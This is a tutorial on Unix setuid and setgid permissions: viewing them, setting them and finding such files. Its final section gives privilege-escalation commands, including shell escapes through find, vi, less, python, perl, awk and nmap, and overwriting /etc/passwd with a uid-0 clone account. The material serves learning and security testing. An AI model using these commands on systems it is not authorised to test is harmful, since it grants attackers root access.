Privilege Escalation via setuid

What is setuid?

Setuid is a special Unix file flag that allows an executable to be run with the permissions of the file owner (rather than the current user). It is often used to allow normal users to perform certain tasks that would otherwise require root access.

Examples:

  • sudo needs to execute files as root (or an arbitrary user)
  • su needs to be able to switch to an arbitrary user
  • passwd needs to modify root owned /etc/passwd
  • chsh needs to modify root owned /etc/passwd
  • mount needs to be able mount filesystems for non-root users (only allowed when user mount option is set)

setuid generally has no effect on non-executables or directories (exception: freeBSD).

What is setgid?

setgid is the same concept as setuid but applied to groups - it allows an executable file to be run with the permissions of the file group owner.

setgid can also be applied to directories, which causes newly created subdirectories and files contained inside it to inherit its group owner ID.

How can we view permissions / flags for a particular file?

The -l option (long listing format) of the ls command will display file permissions.

$ ls -l myfile
-rwsr-sr-x 1 root root 122 Mar 22 21:25 myfile

setuid is indicated by the first s and setgid is indicated by the second s. Also note that the file owner is root which means this executable will be executed with root permissions.

The stat command can also displays file permissions.

$ stat myfile
  File: myfile
  Size: 122             Blocks: 8          IO Block: 4096   regular file
Device: 801h/2049d      Inode: 933052      Links: 1
Access: (6755/-rwsr-sr-x)  Uid: (    0/    root)   Gid: (    0/    root)
Access: 2020-03-22 21:25:40.656002928 +0900
Modify: 2020-03-22 21:25:40.656002928 +0900
Change: 2020-03-22 21:26:28.980003379 +0900
 Birth: -

How can we change setuid or setguid flags for a particular file?

We can use the chmod (change file mode bits) command. When using octal mode format, setuid and setgid are encoded in the first digit as '4' and '2', respectively (or '6' for both).

Updating setuid:

$ chmod u+s myfile      # set bit
$ chmod u-s myfile      # clear bit
$ chmod 4755 myfile     # set using octal mode (-rwsr-x-r-x)

Updating setgid:

$ chmod g+s myfile      # set bit
$ chmod g-s myfile      # clear bit
$ chmod 2755 myfile     # set using octal mode (-rwxr-s-r-x)

Updating both at the same time:

$ chmod +s myfile       # set bits
$ chmod -s myfile       # clear bits
$ chmod 6755 myfile     # set using octal mode (-rwsr-s-r-x)

How can we find files with particular permissions / flags?

We can use the find command to find files that match particular permissions.

$ find / -xdev -user root -type f -perm -u+s -ls 2>/dev/null
  • / start at root directory
  • -xdev don't descend into directories in other filesystems
  • -user root find files owned by root
  • -type f only find files (not directories)
  • -perm -u+s find files with setuid set
  • -ls run ls on each result, equivalent to -exec ls -dils {} \;
  • 2>/dev/null redirect errors to nowhere (i.e. hide them)

We can use a similar command for finding setgid files:

$ find / -xdev -user root -type f -perm -g+s -ls 2>/dev/null

Why doesn't setuid work on shell scripts?

This is disabled in Linux for security reasons that would otherwise make it very easy to achieve privilege escalation / command execution. setuid only works on binary executable files.

Why doesn't setuid work on files in /dev/shm (or other some filesystems)?

It is possible to disable setuid for an entire filesystem by using the nosuid option when mounting. This is often used for untrusted/temporary filesystems to make it more difficult for malicious activity.

We can check mount options with the mount command.

$ mount
...
/dev/sda1 on / type ext4 (rw,noatime,errors=remount-ro)
tmpfs on /dev/shm type tmpfs (rw,nosuid,nodev)
...

/dev/shm (shared memory) is a world-writable temporary storage area backed by RAM (i.e. contents will be lost after restart).

How can we exploit setuid executables to gain full root privileges?

setuid on system and non-system executables can often lead to full root privileges in ways that are not always immediately obvious.

find

find allows us to execute a command for each result.

$ touch /tmp/file    # create a file to limit to single result
$ find /tmp/file -exec /bin/sh \;

vi

We can open a shell from vi.

$ vi
:shell

We can also edit system files to give us more permissions (works with any setuid text editor).

$ vi /etc/sudoers

less, more

We can open a shell from less or more.

$ less /tmp/file
!

python, perl

Most programming languages provide a way to execute arbitrary system commands.

$ python -c "import os; os.system('/bin/sh')"
$ perl -e "system('/bin/sh')"

awk

We can execute arbitrary system commands with awk.

$ awk 'BEGIN {system("/bin/sh")}'

cp, mv

We can use cp or mv to replace system files with modified ones. For example, we can replace /etc/passwd with our own version that contains a user with the same user ID / group ID as root.

Generate password hash using openssl:

$ openssl passwd -6 -salt salt password
$6$salt$IxDD3jeSOb5eB1CX5LBsqZFVkJdido3OUILO5Ifz5iwMuTS4XMS130MTSuDDl3aCI6WouIL9AjRbLCelDCy.g.

Add a new user with same root user ID (or change existing user).

$ cat /etc/passwd > /tmp/passwd
$ echo "rootclone:$6$salt$IxDD3jeSOb5eB1CX5LBsqZFVkJdido3OUILO5Ifz5iwMuTS4XMS130MTSuDDl3aCI6WouIL9AjRbLCelDCy.g.:0:0:root:/root:/bin/bash" >> /tmp/passwd

Overwrite /etc/passwd with our version.

$ cp /tmp/passwd /etc/passwd

nmap

Older versions of nmap (2.02 to 5.21) had an interactive mode.

$ nmap --interactive
!sh

We can also create a NSE file (nmap custom script) that opens a shell.

$ echo "os.execute('/bin/sh')" > shell.nse
$ nmap --script=shell.nse